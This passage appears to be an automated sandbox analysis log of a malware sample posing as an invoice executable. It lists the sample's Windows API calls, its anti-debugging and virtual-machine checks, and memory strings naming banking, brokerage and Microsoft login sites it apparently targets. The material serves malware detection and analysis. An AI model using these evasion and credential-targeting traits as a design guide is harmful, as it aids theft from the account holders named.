                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013C7F0 FindFirstFileW,FindNextFileW,FindClose,5_2_0013C7F0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
                Source: -z193609.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
                Source: sxstrace.exe, 00000005.00000002.3931308738.00000000075C9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ansaction PasswordVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: discord.comVMware20,11696428655f
                Source: -z193609.5.drBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: global block list test formVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
                Source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000002.2111231351.0000000000A6E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                Source: sxstrace.exe, 00000005.00000002.3927487929.00000000025F4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
                Source: yCokjJdvaMLab.exe, 00000006.00000002.3928097756.0000000000B2F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
                Source: -z193609.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
                Source: -z193609.5.drBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
                Source: -z193609.5.drBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
                Source: -z193609.5.drBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
                Source: -z193609.5.drBinary or memory string: outlook.office365.comVMware20,11696428655t
                Source: -z193609.5.drBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
                Source: -z193609.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: outlook.office.comVMware20,11696428655s
                Source: -z193609.5.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
                Source: -z193609.5.drBinary or memory string: ms.portal.azure.comVMware20,11696428655
                Source: firefox.exe, 00000008.00000002.2592557853.000002426D1BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
                Source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000002.2111231351.0000000000A6E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                Source: -z193609.5.drBinary or memory string: AMC password management pageVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: tasks.office.comVMware20,11696428655o
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
                Source: -z193609.5.drBinary or memory string: turbotax.intuit.comVMware20,11696428655t
                Source: -z193609.5.drBinary or memory string: interactivebrokers.comVMware20,11696428655
                Source: sxstrace.exe, 00000005.00000002.3931308738.00000000075C9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: utlook.office.comVMware20,t
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: dev.azure.comVMware20,11696428655j
                Source: -z193609.5.drBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
                Source: -z193609.5.drBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
                Source: sxstrace.exe, 00000005.00000002.3931308738.00000000075C9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: language_codeVARCHARutlook.office.comVMware20,t
                Source: -z193609.5.drBinary or memory string: bankofamerica.comVMware20,11696428655x
                Source: -z193609.5.drBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
                Source: -z193609.5.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E rdtsc 2_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417C33 LdrLoadDll,2_2_00417C33
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_040596B8 mov eax, dword ptr fs:[00000030h]0_2_040596B8
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0405ACC8 mov eax, dword ptr fs:[00000030h]0_2_0405ACC8
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0405AD28 mov eax, dword ptr fs:[00000030h]0_2_0405AD28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]2_2_0306A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]2_2_0306A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]2_2_0306A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C310 mov ecx, dword ptr fs:[00000030h]2_2_0302C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050310 mov ecx, dword ptr fs:[00000030h]2_2_03050310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]2_2_03108324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov ecx, dword ptr fs:[00000030h]2_2_03108324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]2_2_03108324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]2_2_03108324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov ecx, dword ptr fs:[00000030h]2_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FA352 mov eax, dword ptr fs:[00000030h]2_2_030FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D8350 mov ecx, dword ptr fs:[00000030h]2_2_030D8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310634F mov eax, dword ptr fs:[00000030h]2_2_0310634F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D437C mov eax, dword ptr fs:[00000030h]2_2_030D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]2_2_0302E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]2_2_0302E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]2_2_0302E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]2_2_0305438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]2_2_0305438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]2_2_03028397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]2_2_03028397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]2_2_03028397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EC3CD mov eax, dword ptr fs:[00000030h]2_2_030EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B63C0 mov eax, dword ptr fs:[00000030h]2_2_030B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]2_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]2_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov ecx, dword ptr fs:[00000030h]2_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]2_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]2_2_030D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]2_2_030D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]2_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]2_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]2_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030663FF mov eax, dword ptr fs:[00000030h]2_2_030663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302823B mov eax, dword ptr fs:[00000030h]2_2_0302823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B8243 mov eax, dword ptr fs:[00000030h]2_2_030B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B8243 mov ecx, dword ptr fs:[00000030h]2_2_030B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310625D mov eax, dword ptr fs:[00000030h]2_2_0310625D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A250 mov eax, dword ptr fs:[00000030h]2_2_0302A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036259 mov eax, dword ptr fs:[00000030h]2_2_03036259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA250 mov eax, dword ptr fs:[00000030h]2_2_030EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA250 mov eax, dword ptr fs:[00000030h]2_2_030EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]2_2_03034260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]2_2_03034260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]2_2_03034260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302826B mov eax, dword ptr fs:[00000030h]2_2_0302826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]2_2_0306E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]2_2_0306E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]2_2_030B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]2_2_030B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]2_2_030B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]2_2_030402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]2_2_030402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov ecx, dword ptr fs:[00000030h]2_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031062D6 mov eax, dword ptr fs:[00000030h]2_2_031062D6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]2_2_030402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]2_2_030402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]2_2_030402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov ecx, dword ptr fs:[00000030h]2_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]2_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]2_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]2_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F0115 mov eax, dword ptr fs:[00000030h]2_2_030F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03060124 mov eax, dword ptr fs:[00000030h]2_2_03060124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov ecx, dword ptr fs:[00000030h]2_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C156 mov eax, dword ptr fs:[00000030h]2_2_0302C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C8158 mov eax, dword ptr fs:[00000030h]2_2_030C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]2_2_03036154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]2_2_03036154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104164 mov eax, dword ptr fs:[00000030h]2_2_03104164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104164 mov eax, dword ptr fs:[00000030h]2_2_03104164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03070185 mov eax, dword ptr fs:[00000030h]2_2_03070185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]2_2_030EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]2_2_030EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]2_2_030D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]2_2_030D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]2_2_0302A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]2_2_0302A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]2_2_0302A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]2_2_030F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]2_2_030F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
